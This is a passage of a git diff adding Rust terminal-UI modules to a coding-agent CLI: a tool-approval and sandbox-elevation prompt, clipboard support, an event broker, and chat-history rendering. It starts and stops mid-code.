self) { + if let Ok(mut plan) = self.plan_state.lock() { + *plan = crate::tools::plan::PlanState::default(); + } + } +} + +// === Actions === + +/// Actions emitted by the UI event loop. +#[derive(Debug, Clone)] +pub enum AppAction { + Quit, + #[allow(dead_code)] // For explicit /save command + SaveSession(PathBuf), + #[allow(dead_code)] // For explicit /load command + LoadSession(PathBuf), + SyncSession { + messages: Vec, + system_prompt: Option, + model: String, + workspace: PathBuf, + }, + SendMessage(String), + ListSubAgents, + UpdateCompaction(CompactionConfig), +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::config::Config; + + fn test_options(yolo: bool) -> TuiOptions { + TuiOptions { + model: "test-model".to_string(), + workspace: PathBuf::from("."), + allow_shell: yolo, + use_alt_screen: true, + max_subagents: 1, + skills_dir: PathBuf::from("."), + memory_path: PathBuf::from("memory.md"), + notes_path: PathBuf::from("notes.txt"), + mcp_config_path: PathBuf::from("mcp.json"), + use_memory: false, + start_in_agent_mode: yolo, + yolo, + resume_session_id: None, + } + } + + #[test] + fn test_trust_mode_follows_yolo_on_startup() { + let app = App::new(test_options(true), &Config::default()); + assert!(app.trust_mode); + } +} diff --git a/src/tui/approval.rs b/src/tui/approval.rs new file mode 100644 index 00000000..d1ffa5f6 --- /dev/null +++ b/src/tui/approval.rs @@ -0,0 +1,434 @@ +//! Tool approval system for `DeepSeek` CLI +//! +//! Provides types and overlay widget for requesting user approval before +//! executing tools that may have costs or side effects. + +use crate::pricing::CostEstimate; +use crate::sandbox::SandboxPolicy; +use crate::tui::views::{ModalKind, ModalView, ViewAction, ViewEvent}; +use crate::tui::widgets::{ApprovalWidget, ElevationWidget, Renderable}; +use crossterm::event::{KeyCode, KeyEvent}; +use serde_json::Value; +use std::path::PathBuf; +use std::time::{Duration, Instant}; + +/// Determines when tool executions require user approval +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub enum ApprovalMode { + /// Auto-approve all tools (YOLO mode / --yolo flag) + Auto, + /// Suggest approval for non-safe tools (non-YOLO modes) + #[default] + Suggest, + /// Never execute tools requiring approval + Never, +} + +impl ApprovalMode { + pub fn label(self) -> &'static str { + match self { + ApprovalMode::Auto => "AUTO", + ApprovalMode::Suggest => "SUGGEST", + ApprovalMode::Never => "NEVER", + } + } +} + +/// User's decision for a pending approval +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum ReviewDecision { + /// Execute this tool once + Approved, + /// Approve and don't ask again for this tool type this session + ApprovedForSession, + /// Reject the tool execution + Denied, + /// Abort the entire turn + Abort, +} + +/// Categorizes tools by cost/risk level +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ToolCategory { + /// Free, read-only operations (`list_dir`, `read_file`, todo_*) + Safe, + /// File modifications (`write_file`, `edit_file`) + FileWrite, + /// Shell execution (`exec_shell`) + Shell, +} + +/// Request for user approval of a tool execution +#[derive(Debug, Clone)] +pub struct ApprovalRequest { + /// Unique ID for this tool use + pub id: String, + /// Tool being executed + pub tool_name: String, + /// Tool category + pub category: ToolCategory, + /// Tool parameters (for display) + pub params: Value, + /// Estimated cost (for paid tools) + pub estimated_cost: Option, +} + +impl ApprovalRequest { + pub fn new(id: &str, tool_name: &str, params: &Value) -> Self { + let category = get_tool_category(tool_name); + let estimated_cost = crate::pricing::estimate_tool_cost(tool_name, params); + + Self { + id: id.to_string(), + tool_name: tool_name.to_string(), + category, + params: params.clone(), + estimated_cost, + } + } + + /// Format parameters for display (truncated) + pub fn params_display(&self) -> String { + let truncated = truncate_params_value(&self.params, 200); + serde_json::to_string(&truncated).unwrap_or_else(|_| truncated.to_string()) + } +} + +/// Get the category for a tool by name +pub fn get_tool_category(name: &str) -> ToolCategory { + if matches!(name, "write_file" | "edit_file" | "apply_patch") { + ToolCategory::FileWrite + } else if name == "exec_shell" { + ToolCategory::Shell + } else { + // Default to safe (includes read/list/todo/note/update_plan and unknown tools) + ToolCategory::Safe + } +} + +/// Approval overlay state managed by the modal view stack +#[derive(Debug, Clone)] +pub struct ApprovalView { + request: ApprovalRequest, + selected: usize, + timeout: Option, + requested_at: Instant, +} + +impl ApprovalView { + pub fn new(request: ApprovalRequest) -> Self { + Self { + request, + selected: 0, + timeout: None, + requested_at: Instant::now(), + } + } + + fn select_prev(&mut self) { + self.selected = self.selected.saturating_sub(1); + } + + fn select_next(&mut self) { + self.selected = (self.selected + 1).min(3); + } + + fn current_decision(&self) -> ReviewDecision { + match self.selected { + 0 => ReviewDecision::Approved, + 1 => ReviewDecision::ApprovedForSession, + 2 => ReviewDecision::Denied, + _ => ReviewDecision::Abort, + } + } + + fn emit_decision(&self, decision: ReviewDecision, timed_out: bool) -> ViewAction { + ViewAction::EmitAndClose(ViewEvent::ApprovalDecision { + tool_id: self.request.id.clone(), + tool_name: self.request.tool_name.clone(), + decision, + timed_out, + }) + } + + fn is_timed_out(&self) -> bool { + match self.timeout { + Some(timeout) => self.requested_at.elapsed() >= timeout, + None => false, + } + } +} + +impl ModalView for ApprovalView { + fn kind(&self) -> ModalKind { + ModalKind::Approval + } + + fn handle_key(&mut self, key: KeyEvent) -> ViewAction { + match key.code { + KeyCode::Up | KeyCode::Char('k') => { + self.select_prev(); + ViewAction::None + } + KeyCode::Down | KeyCode::Char('j') => { + self.select_next(); + ViewAction::None + } + KeyCode::Enter => self.emit_decision(self.current_decision(), false), + KeyCode::Char('y') => self.emit_decision(ReviewDecision::Approved, false), + KeyCode::Char('a') => self.emit_decision(ReviewDecision::ApprovedForSession, false), + KeyCode::Char('n') => self.emit_decision(ReviewDecision::Denied, false), + KeyCode::Esc => self.emit_decision(ReviewDecision::Abort, false), + _ => ViewAction::None, + } + } + + fn render(&self, area: ratatui::layout::Rect, buf: &mut ratatui::buffer::Buffer) { + let approval_widget = ApprovalWidget::new(&self.request, self.selected); + approval_widget.render(area, buf); + } + + fn tick(&mut self) -> ViewAction { + if self.is_timed_out() { + return self.emit_decision(ReviewDecision::Denied, true); + } + ViewAction::None + } +} + +fn truncate_params_value(value: &Value, max_len: usize) -> Value { + match value { + Value::Object(map) => { + let truncated = map + .iter() + .map(|(key, val)| (key.clone(), truncate_params_value(val, max_len))) + .collect(); + Value::Object(truncated) + } + Value::Array(items) => { + let truncated_items = items + .iter() + .map(|val| truncate_params_value(val, max_len)) + .collect(); + Value::Array(truncated_items) + } + Value::String(text) => Value::String(truncate_string_value(text, max_len)), + other => { + let rendered = other.to_string(); + if rendered.chars().count() > max_len { + Value::String(truncate_string_value(&rendered, max_len)) + } else { + other.clone() + } + } + } +} + +fn truncate_string_value(value: &str, max_len: usize) -> String { + if value.chars().count() <= max_len { + return value.to_string(); + } + let truncated: String = value.chars().take(max_len).collect(); + format!("{truncated}...") +} + +// ============================================================================ +// Sandbox Elevation Flow +// ============================================================================ + +/// Options for elevating sandbox permissions after a denial. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum ElevationOption { + /// Add network access to the sandbox policy. + WithNetwork, + /// Add write access to specific paths. + WithWriteAccess(Vec), + /// Remove sandbox restrictions entirely (dangerous). + FullAccess, + /// Abort the tool execution. + Abort, +} + +impl ElevationOption { + /// Get the display label for this option. + pub fn label(&self) -> &'static str { + match self { + ElevationOption::WithNetwork => "Allow network access", + ElevationOption::WithWriteAccess(_) => "Allow write access", + ElevationOption::FullAccess => "Full access (no sandbox)", + ElevationOption::Abort => "Abort", + } + } + + /// Get a short description. + pub fn description(&self) -> &'static str { + match self { + ElevationOption::WithNetwork => "Retry with outbound network connections enabled", + ElevationOption::WithWriteAccess(_) => "Retry with additional writable paths", + ElevationOption::FullAccess => "Retry without any sandbox restrictions (dangerous!)", + ElevationOption::Abort => "Cancel this tool execution", + } + } + + /// Convert to a sandbox policy. + pub fn to_policy(&self, base_cwd: &PathBuf) -> SandboxPolicy { + match self { + ElevationOption::WithNetwork => SandboxPolicy::workspace_with_network(), + ElevationOption::WithWriteAccess(paths) => { + let mut roots = paths.clone(); + roots.push(base_cwd.clone()); + SandboxPolicy::workspace_with_roots(roots, false) + } + ElevationOption::FullAccess => SandboxPolicy::DangerFullAccess, + ElevationOption::Abort => SandboxPolicy::default(), // Won't be used + } + } +} + +/// Request for user decision after a sandbox denial. +#[derive(Debug, Clone)] +pub struct ElevationRequest { + /// The tool ID that was blocked. + pub tool_id: String, + /// The tool name. + pub tool_name: String, + /// The command that was blocked (if shell). + pub command: Option, + /// The reason for denial (from sandbox). + pub denial_reason: String, + /// Available elevation options. + pub options: Vec, +} + +impl ElevationRequest { + /// Create a new elevation request for a shell command. + pub fn for_shell( + tool_id: &str, + command: &str, + denial_reason: &str, + blocked_network: bool, + blocked_write: bool, + ) -> Self { + let mut options = Vec::new(); + + if blocked_network { + options.push(ElevationOption::WithNetwork); + } + if blocked_write { + options.push(ElevationOption::WithWriteAccess(vec![])); + } + options.push(ElevationOption::FullAccess); + options.push(ElevationOption::Abort); + + Self { + tool_id: tool_id.to_string(), + tool_name: "exec_shell".to_string(), + command: Some(command.to_string()), + denial_reason: denial_reason.to_string(), + options, + } + } + + /// Create a generic elevation request. + #[allow(dead_code)] + pub fn generic(tool_id: &str, tool_name: &str, denial_reason: &str) -> Self { + Self { + tool_id: tool_id.to_string(), + tool_name: tool_name.to_string(), + command: None, + denial_reason: denial_reason.to_string(), + options: vec![ + ElevationOption::WithNetwork, + ElevationOption::FullAccess, + ElevationOption::Abort, + ], + } + } +} + +/// Elevation overlay state managed by the modal view stack. +#[derive(Debug, Clone)] +pub struct ElevationView { + request: ElevationRequest, + selected: usize, +} + +impl ElevationView { + pub fn new(request: ElevationRequest) -> Self { + Self { + request, + selected: 0, + } + } + + fn select_prev(&mut self) { + self.selected = self.selected.saturating_sub(1); + } + + fn select_next(&mut self) { + let max = self.request.options.len().saturating_sub(1); + self.selected = (self.selected + 1).min(max); + } + + fn current_option(&self) -> &ElevationOption { + &self.request.options[self.selected] + } + + fn emit_decision(&self, option: ElevationOption) -> ViewAction { + ViewAction::EmitAndClose(ViewEvent::ElevationDecision { + tool_id: self.request.tool_id.clone(), + tool_name: self.request.tool_name.clone(), + option, + }) + } + + /// Get the request for rendering. + #[allow(dead_code)] + pub fn request(&self) -> &ElevationRequest { + &self.request + } + + /// Get the currently selected index. + #[allow(dead_code)] + pub fn selected(&self) -> usize { + self.selected + } +} + +impl ModalView for ElevationView { + fn kind(&self) -> ModalKind { + ModalKind::Elevation + } + + fn handle_key(&mut self, key: KeyEvent) -> ViewAction { + match key.code { + KeyCode::Up | KeyCode::Char('k') => { + self.select_prev(); + ViewAction::None + } + KeyCode::Down | KeyCode::Char('j') => { + self.select_next(); + ViewAction::None + } + KeyCode::Enter => self.emit_decision(self.current_option().clone()), + KeyCode::Char('n') => self.emit_decision(ElevationOption::WithNetwork), + KeyCode::Char('w') => { + // Find the write access option if available + for opt in &self.request.options { + if matches!(opt, ElevationOption::WithWriteAccess(_)) { + return self.emit_decision(opt.clone()); + } + } + ViewAction::None + } + KeyCode::Char('f') => self.emit_decision(ElevationOption::FullAccess), + KeyCode::Esc | KeyCode::Char('a') => self.emit_decision(ElevationOption::Abort), + _ => ViewAction::None, + } + } + + fn render(&self, area: ratatui::layout::Rect, buf: &mut ratatui::buffer::Buffer) { + let elevation_widget = ElevationWidget::new(&self.request, self.selected); + elevation_widget.render(area, buf); + } +} diff --git a/src/tui/clipboard.rs b/src/tui/clipboard.rs new file mode 100644 index 00000000..79e781f8 --- /dev/null +++ b/src/tui/clipboard.rs @@ -0,0 +1,112 @@ +//! Clipboard handling for paste support in TUI +//! +//! Supports text and image paste operations. + +#![allow(dead_code)] + +#[cfg(target_os = "macos")] +use std::io::Write; +use std::path::{Path, PathBuf}; +#[cfg(target_os = "macos")] +use std::process::{Command, Stdio}; +use std::time::{SystemTime, UNIX_EPOCH}; + +use anyhow::Result; +use arboard::{Clipboard, ImageData}; + +// === Types === + +/// Clipboard payloads supported by the TUI. +pub enum ClipboardContent { + Text(String), + Image { path: PathBuf, description: String }, +} + +/// Clipboard reader/writer helper. +pub struct ClipboardHandler { + clipboard: Option, +} + +impl ClipboardHandler { + /// Create a new clipboard handler, falling back to a no-op when unavailable. + pub fn new() -> Self { + let clipboard = Clipboard::new().ok(); + Self { clipboard } + } + + /// Read the clipboard and return the parsed content. + pub fn read(&mut self, workspace: &Path) -> Option { + let clipboard = self.clipboard.as_mut()?; + if let Ok(text) = clipboard.get_text() { + return Some(ClipboardContent::Text(text)); + } + + if let Ok(image) = clipboard.get_image() + && let Ok(path) = save_image_to_workspace(workspace, &image) + { + let description = format!("image {}x{}", image.width, image.height); + return Some(ClipboardContent::Image { path, description }); + } + + None + } + + /// Write text to the clipboard (no-op if unavailable). + pub fn write_text(&mut self, text: &str) -> Result<()> { + if let Some(clipboard) = self.clipboard.as_mut() + && clipboard.set_text(text.to_string()).is_ok() + { + return Ok(()); + } + + #[cfg(target_os = "macos")] + { + let mut child = Command::new("pbcopy") + .stdin(Stdio::piped()) + .spawn() + .map_err(|e| anyhow::anyhow!("Failed to run pbcopy: {e}"))?; + if let Some(mut stdin) = child.stdin.take() { + stdin + .write_all(text.as_bytes()) + .map_err(|e| anyhow::anyhow!("Failed to write to pbcopy: {e}"))?; + } + let status = child + .wait() + .map_err(|e| anyhow::anyhow!("Failed to wait for pbcopy: {e}"))?; + if status.success() { + return Ok(()); + } + Err(anyhow::anyhow!("pbcopy failed")) + } + + #[cfg(not(target_os = "macos"))] + { + Err(anyhow::anyhow!("Clipboard unavailable")) + } + } +} + +fn save_image_to_workspace(workspace: &Path, image: &ImageData) -> Result { + let dir = workspace.join("clipboard-images"); + std::fs::create_dir_all(&dir)?; + + let timestamp = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default() + .as_secs(); + let path = dir.join(format!("clipboard-{timestamp}.ppm")); + + let mut data = Vec::with_capacity((image.width * image.height * 3) + 64); + data.extend_from_slice(format!("P6\n{} {}\n255\n", image.width, image.height).as_bytes()); + + let bytes = image.bytes.as_ref(); + for chunk in bytes.chunks(4) { + let r = chunk.first().copied().unwrap_or(0); + let g = chunk.get(1).copied().unwrap_or(0); + let b = chunk.get(2).copied().unwrap_or(0); + data.extend_from_slice(&[r, g, b]); + } + + std::fs::write(&path, data)?; + Ok(path) +} diff --git a/src/tui/event_broker.rs b/src/tui/event_broker.rs new file mode 100644 index 00000000..35ac726d --- /dev/null +++ b/src/tui/event_broker.rs @@ -0,0 +1,29 @@ +use std::sync::{ + Arc, + atomic::{AtomicBool, Ordering}, +}; + +#[derive(Clone, Default)] +pub struct EventBroker { + paused: Arc, +} + +impl EventBroker { + pub fn new() -> Self { + Self { + paused: Arc::new(AtomicBool::new(false)), + } + } + + pub fn pause_events(&self) { + self.paused.store(true, Ordering::SeqCst); + } + + pub fn resume_events(&self) { + self.paused.store(false, Ordering::SeqCst); + } + + pub fn is_paused(&self) -> bool { + self.paused.load(Ordering::SeqCst) + } +} diff --git a/src/tui/history.rs b/src/tui/history.rs new file mode 100644 index 00000000..917c8105 --- /dev/null +++ b/src/tui/history.rs @@ -0,0 +1,1086 @@ +//! TUI rendering helpers for chat history and tool output. + +use std::path::PathBuf; +use std::time::Instant; + +use ratatui::style::{Modifier, Style, Stylize}; +use ratatui::text::{Line, Span}; +use serde_json::Value; +use unicode_width::UnicodeWidthStr; + +use crate::models::{ContentBlock, Message}; +use crate::palette; + +// === Constants === + +const TOOL_COMMAND_LINE_LIMIT: usize = 5; +const TOOL_OUTPUT_LINE_LIMIT: usize = 12; +const TOOL_TEXT_LIMIT: usize = 240; + +// === History Cells === + +/// Renderable history cell for user/assistant/system entries. +#[derive(Debug, Clone)] +pub enum HistoryCell { + User { content: String }, + Assistant { content: String, streaming: bool }, + System { content: String }, + ThinkingSummary { summary: String }, + Tool(ToolCell), +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct TranscriptRenderOptions { + pub show_thinking: bool, + pub show_tool_details: bool, +} + +impl Default for TranscriptRenderOptions { + fn default() -> Self { + Self { + show_thinking: true, + show_tool_details: true, + } + } +} + +impl HistoryCell { + /// Render the cell into a set of terminal lines. + pub fn lines(&self, width: u16) -> Vec> { + match self { + HistoryCell::User { content } => render_message("You", content, user_style(), width), + HistoryCell::Assistant { content, .. } => { + render_message("DeepSeek", content, assistant_style(), width) + } + HistoryCell::System { content } => { + render_message("System", content, system_style(), width) + } + HistoryCell::ThinkingSummary { summary } => { + render_message("Thinking", summary, thinking_style(), width) + } + HistoryCell::Tool(cell) => cell.lines(width), + } + } + + pub fn lines_with_options( + &self, + width: u16, + options: TranscriptRenderOptions, + ) -> Vec> { + match self { + HistoryCell::ThinkingSummary { .. } if !options.show_thinking => Vec::new(), + HistoryCell::Tool(cell) if !options.show_tool_details => { + let mut lines = cell.lines(width); + if lines.len() > 2 { + lines.truncate(2); + lines.push(Line::from(Span::styled( + " … details hidden (show_tool_details=off)", + Style::default().fg(palette::TEXT_MUTED).italic(), + ))); + } + lines + } + _ => self.lines(width), + } + } + + /// Whether this cell is the continuation of a streaming assistant message. + #[must_use] + pub fn is_stream_continuation(&self) -> bool { + matches!( + self, + HistoryCell::Assistant { + streaming: true, + .. + } + ) + } +} + +/// Convert a message into history cells for rendering. +#[must_use] +pub fn history_cells_from_message(msg: &Message) -> Vec { + let mut cells = Vec::new(); + let mut text_blocks = Vec::new(); + let mut thinking_blocks = Vec::new(); + + for block in &msg.content { + match block { + ContentBlock::Text { text, .. } => text_blocks.push(text.clone()), + ContentBlock::Thinking { thinking } => thinking_blocks.push(thinking.clone()), + _ => {} + } + } + + if !text_blocks.is_empty() { + let content = text_blocks.join("\n"); + match msg.role.as_str() { + "user" => cells.push(HistoryCell::User { content }), + "assistant" => cells.push(HistoryCell::Assistant { + content, + streaming: false, + }), + "system" => cells.push(HistoryCell::System { content }), + _ => {} + } + } + + if !thinking_blocks.is_empty() { + let reasoning = thinking_blocks.join("\n"); + if let Some(summary) = extract_reasoning_summary(&reasoning) { + cells.push(HistoryCell::ThinkingSummary { summary }); + } + } + + cells +} + +// === Tool Cells === + +/// Variants describing a tool result cell. +#[derive(Debug, Clone)] +pub enum ToolCell { + Exec(ExecCell), + Exploring(ExploringCell), + PlanUpdate(PlanUpdateCell), + PatchSummary(PatchSummaryCell), + Mcp(McpToolCell), + ViewImage(ViewImageCell), + WebSearch(WebSearchCell), + Generic(GenericToolCell), +} + +impl ToolCell { + /// Render the tool cell into lines. + pub fn lines(&self, width: u16) -> Vec> { + match self { + ToolCell::Exec(cell) => cell.lines(width), + ToolCell::Exploring(cell) => cell.lines(width), + ToolCell::PlanUpdate(cell) => cell.lines(width), + ToolCell::PatchSummary(cell) => cell.lines(width), + ToolCell::Mcp(cell) => cell.lines(width), + ToolCell::ViewImage(cell) => cell.lines(width), + ToolCell::WebSearch(cell) => cell.lines(width), + ToolCell::Generic(cell) => cell.lines(width), + } + } +} + +/// Overall status for a tool execution. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ToolStatus { + Running, + Success, + Failed, +} + +/// Shell command execution rendering data. +#[derive(Debug, Clone)] +pub struct ExecCell { + pub command: String, + pub status: ToolStatus, + pub output: Option, + pub started_at: Option, + pub duration_ms: Option, + pub source: ExecSource, + pub interaction: Option, +} + +impl ExecCell { + /// Render the execution cell into lines. + pub fn lines(&self, width: u16) -> Vec> { + let mut lines = Vec::new(); + let (label, color) = match self.status { + ToolStatus::Running => ("Running", palette::STATUS_WARNING), + ToolStatus::Success => match self.source { + ExecSource::User => ("You ran", palette::STATUS_SUCCESS), + ExecSource::Assistant => ("Ran", palette::STATUS_SUCCESS), + }, + ToolStatus::Failed => ("Failed", palette::STATUS_ERROR), + }; + let dot = status_symbol(self.started_at, self.status); + lines.push(Line::from(vec![ + Span::styled(format!("{dot} "), Style::default().fg(color)), + Span::styled( + label, + Style::default().fg(color).add_modifier(Modifier::BOLD), + ), + ])); + + if let Some(interaction) = self.interaction.as_ref() { + lines.extend(wrap_plain_line( + &format!(" {interaction}"), + Style::default().fg(palette::TEXT_MUTED), + width, + )); + } else { + lines.extend(render_command(&self.command, width)); + } + + if self.interaction.is_none() { + if let Some(output) = self.output.as_ref() { + lines.extend(render_exec_output(output, width, TOOL_OUTPUT_LINE_LIMIT)); + } else if self.status != ToolStatus::Running { + lines.push(Line::from(Span::styled( + " (no output)", + Style::default().fg(palette::TEXT_MUTED).italic(), + ))); + } + } + + if let Some(duration_ms) = self.duration_ms { + let seconds = f64::from(u32::try_from(duration_ms).unwrap_or(u32::MAX)) / 1000.0; + lines.push(Line::from(Span::styled( + format!(" {seconds:.2}s"), + Style::default().fg(palette::TEXT_MUTED), + ))); + } + + lines + } +} + +/// Source of a shell command execution. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ExecSource { + User, + Assistant, +} + +/// Aggregate cell for tool exploration runs. +#[derive(Debug, Clone)] +pub struct ExploringCell { + pub entries: Vec, +} + +impl ExploringCell { + /// Render the exploring cell into lines. + pub fn lines(&self, width: u16) -> Vec> { + let mut lines = Vec::new(); + let all_done = self + .entries + .iter() + .all(|entry| entry.status != ToolStatus::Running); + let header = if all_done { "Explored" } else { "Exploring" }; + lines.push(Line::from(Span::styled( + header, + Style::default() + .fg(palette::DEEPSEEK_SKY) + .add_modifier(Modifier::BOLD), + ))); + + for entry in &self.entries { + let prefix = match entry.status { + ToolStatus::Running => "•", + ToolStatus::Success => "ok", + ToolStatus::Failed => "!!", + }; + let style = match entry.status { + ToolStatus::Running => Style::default().fg(palette::DEEPSEEK_SKY), + ToolStatus::Success => Style::default().fg(palette::STATUS_SUCCESS), + ToolStatus::Failed => Style::default().fg(palette::STATUS_ERROR), + }; + let line = format!(" {} {}", prefix, entry.label); + lines.extend(wrap_plain_line(&line, style, width)); + } + lines + } + + /// Insert a new entry and return its index. + #[must_use] + pub fn insert_entry(&mut self, entry: ExploringEntry) -> usize { + self.entries.push(entry); + self.entries.len().saturating_sub(1) + } +} + +/// Single entry for exploring tool output. +#[derive(Debug, Clone)] +pub struct ExploringEntry { + pub label: String, + pub status: ToolStatus, +} + +/// Cell for plan updates emitted by the plan tool. +#[derive(Debug, Clone)] +pub struct PlanUpdateCell { + pub explanation: Option, + pub steps: Vec, + pub status: ToolStatus, +} + +impl PlanUpdateCell { + /// Render the plan update cell into lines. + pub fn lines(&self, width: u16) -> Vec> { + let mut lines = Vec::new(); + let header = match self.status { + ToolStatus::Running => "Updating Plan", + _ => "Updated Plan", + }; + lines.push(Line::from(Span::styled( + header, + Style::default() + .fg(palette::DEEPSEEK_BLUE) + .add_modifier(Modifier::BOLD), + ))); + + if let Some(explanation) = self.explanation.as_ref() { + lines.extend(render_message(" ", explanation, system_style(), width)); + } + + for step in &self.steps { + let marker = match step.status.as_str() { + "completed" => "[x]", + "in_progress" => "[~]", + _ => "[ ]", + }; + let line = format!(" {} {}", marker, step.step); + lines.extend(wrap_plain_line( + &line, + Style::default().fg(palette::DEEPSEEK_BLUE), + width, + )); + } + + lines + } +} + +/// Single plan step rendered in the UI. +#[derive(Debug, Clone)] +pub struct PlanStep { + pub step: String, + pub status: String, +} + +/// Cell for patch summaries emitted by the patch tool. +#[derive(Debug, Clone)] +pub struct PatchSummaryCell { + pub path: String, + pub summary: String, + pub status: ToolStatus, + pub error: Option, +} + +impl PatchSummaryCell { + /// Render the patch summary cell into lines. + pub fn lines(&self, width: u16) -> Vec> { + let mut lines = Vec::new(); + let header = match self.status { + ToolStatus::Running => "Applying Patch", + ToolStatus::Success => "Patch Applied", + ToolStatus::Failed => "Patch Failed", + }; + let color = match self.status { + ToolStatus::Running => palette::STATUS_WARNING, + ToolStatus::Success => palette::STATUS_SUCCESS, + ToolStatus::Failed => palette::STATUS_ERROR, + }; + lines.push(Line::from(Span::styled( + header, + Style::default().fg(color).add_modifier(Modifier::BOLD), + ))); + lines.extend(wrap_plain_line( + &format!(" {}", self.path), + Style::default().fg(palette::TEXT_MUTED), + width, + )); + lines.extend(render_tool_output( + &self.summary, + width, + TOOL_COMMAND_LINE_LIMIT, + )); + if let Some(error) = self.error.as_ref() { + lines.extend(render_tool_output(error, width, TOOL_COMMAND_LINE_LIMIT)); + } + lines + } +} + +/// Cell representing an MCP tool execution. +#[derive(Debug, Clone)] +pub struct McpToolCell { + pub tool: String, + pub status: ToolStatus, + pub content: Option, + pub is_image: bool, +} + +impl McpToolCell { + /// Render the MCP tool cell into lines. + pub fn lines(&self, width: u16) -> Vec> { + let mut lines = Vec::new(); + let header = match self.status { + ToolStatus::Running => format!("Calling {}", self.tool), + _ => format!("Called {}", self.tool), + }; + let color = if self.status == ToolStatus::Failed { + palette::STATUS_ERROR + } else { + palette::DEEPSEEK_SKY + }; + lines.push(Line::from(Span::styled( + header, + Style::default().fg(color).add_modifier(Modifier::BOLD), + ))); + + if self.is_image { + lines.push(Line::from(Span::styled( + " (image result)", + Style::default().fg(palette::TEXT_MUTED), + ))); + } + + if let Some(content) = self.content.as_ref() { + lines.extend(render_tool_output(content, width, TOOL_COMMAND_LINE_LIMIT)); + } + lines + } +} + +/// Cell for image view actions. +#[derive(Debug, Clone)] +pub struct ViewImageCell { + pub path: PathBuf, +} + +impl ViewImageCell { + /// Render the image view cell into lines. + pub fn lines(&self, width: u16) -> Vec> { + let header = format!("Viewed Image {}", self.path.display()); + wrap_plain_line(&header, Style::default().fg(palette::DEEPSEEK_SKY), width) + } +} + +/// Cell for web search tool output. +#[derive(Debug, Clone)] +pub struct WebSearchCell { + pub query: String, + pub status: ToolStatus, + pub summary: Option, +} + +impl WebSearchCell { + /// Render the web search cell into lines. + pub fn lines(&self, width: u16) -> Vec> { + let mut lines = Vec::new(); + let header = match self.status { + ToolStatus::Running => "Searching", + _ => "Searched", + }; + lines.push(Line::from(Span::styled( + header, + Style::default() + .fg(palette::DEEPSEEK_BLUE) + .add_modifier(Modifier::BOLD), + ))); + lines.extend(wrap_plain_line( + &format!(" {}", self.query), + Style::default().fg(palette::TEXT_MUTED), + width, + )); + if let Some(summary) = self.summary.as_ref() { + lines.extend(render_compact_kv( + "result:", + summary, + Style::default().fg(palette::TEXT_MUTED), + width, + )); + } + lines + } +} + +/// Generic cell for tool output when no specialized rendering exists. +#[derive(Debug, Clone)] +pub struct GenericToolCell { + pub name: String, + pub status: ToolStatus, + pub input_summary: Option, + pub output: Option, +} + +impl GenericToolCell { + /// Render the generic tool cell into lines. + pub fn lines(&self, width: u16) -> Vec> { + let mut lines = Vec::new(); + let header = match self.status { + ToolStatus::Running => format!("Calling {}", self.name), + _ => format!("Called {}", self.name), + }; + let color = if self.status == ToolStatus::Failed { + palette::STATUS_ERROR + } else { + palette::DEEPSEEK_SKY + }; + lines.push(Line::from(Span::styled( + header, + Style::default().fg(color).add_modifier(Modifier::BOLD), + ))); + let show_args = matches!(self.status, ToolStatus::Running) || self.output.is_none(); + if show_args && let Some(summary) = self.input_summary.as_ref() { + lines.extend(render_compact_kv( + "args:", + summary, + Style::default().fg(palette::TEXT_MUTED), + width, + )); + } + if let Some(output) = self.output.as_ref() { + let style = if self.status == ToolStatus::Failed { + Style::default().fg(palette::STATUS_ERROR) + } else { + Style::default().fg(palette::TEXT_MUTED) + }; + lines.extend(render_compact_kv("result:", output, style, width)); + } + lines + } +} + +fn summarize_string_value(text: &str, max_len: usize, count_only: bool) -> String { + let trimmed = text.trim(); + let len = trimmed.chars().count(); + if count_only || len > max_len { + return format!("<{len} chars>"); + } + truncate_text(trimmed, max_len) +} + +fn summarize_inline_value(value: &Value, max_len: usize, count_only: bool) -> String { + match value { + Value::String(s) => summarize_string_value(s, max_len, count_only), + Value::Array(items) => format!("<{} items>", items.len()), + Value::Object(map) => format!("<{} keys>", map.len()), + Value::Bool(b) => b.to_string(), + Value::Number(num) => num.to_string(), + Value::Null => "null".to_string(), + } +} + +#[must_use] +pub fn summarize_tool_args(input: &Value) -> Option { + let obj = input.as_object()?; + if obj.is_empty() { + return None; + } + + let mut parts = Vec::new(); + + if let Some(value) = obj.get("path") { + parts.push(format!( + "path: {}", + summarize_inline_value(value, 80, false) + )); + } + if let Some(value) = obj.get("command") { + parts.push(format!( + "command: {}", + summarize_inline_value(value, 80, false) + )); + } + if let Some(value) = obj.get("query") { + parts.push(format!( + "query: {}", + summarize_inline_value(value, 80, false) + )); + } + if let Some(value) = obj.get("prompt") { + parts.push(format!( + "prompt: {}", + summarize_inline_value(value, 80, false) + )); + } + if let Some(value) = obj.get("text") { + parts.push(format!( + "text: {}", + summarize_inline_value(value, 80, false) + )); + } + if let Some(value) = obj.get("pattern") { + parts.push(format!( + "pattern: {}", + summarize_inline_value(value, 80, false) + )); + } + if let Some(value) = obj.get("model") { + parts.push(format!( + "model: {}", + summarize_inline_value(value, 40, false) + )); + } + if let Some(value) = obj.get("file_id") { + parts.push(format!( + "file_id: {}", + summarize_inline_value(value, 40, false) + )); + } + if let Some(value) = obj.get("task_id") { + parts.push(format!( + "task_id: {}", + summarize_inline_value(value, 40, false) + )); + } + if let Some(value) = obj.get("voice_id") { + parts.push(format!( + "voice_id: {}", + summarize_inline_value(value, 40, false) + )); + } + if let Some(value) = obj.get("content") { + parts.push(format!( + "content: {}", + summarize_inline_value(value, 0, true) + )); + } + + if parts.is_empty() + && let Some((key, value)) = obj.iter().next() + { + return Some(format!( + "{}: {}", + key, + summarize_inline_value(value, 80, false) + )); + } + + if parts.is_empty() { + None + } else { + Some(parts.join(", ")) + } +} + +#[must_use] +pub fn summarize_tool_output(output: &str) -> String { + if let Ok(json) = serde_json::from_str::(output) { + if let Some(obj) = json.as_object() { + if let Some(error) = obj.get("error").or(obj.get("status_msg")) { + return format!("Error: {}", summarize_inline_value(error, 120, false)); + } + + let mut parts = Vec::new(); + + if let Some(status) = obj.get("status").and_then(|v| v.as_str()) { + 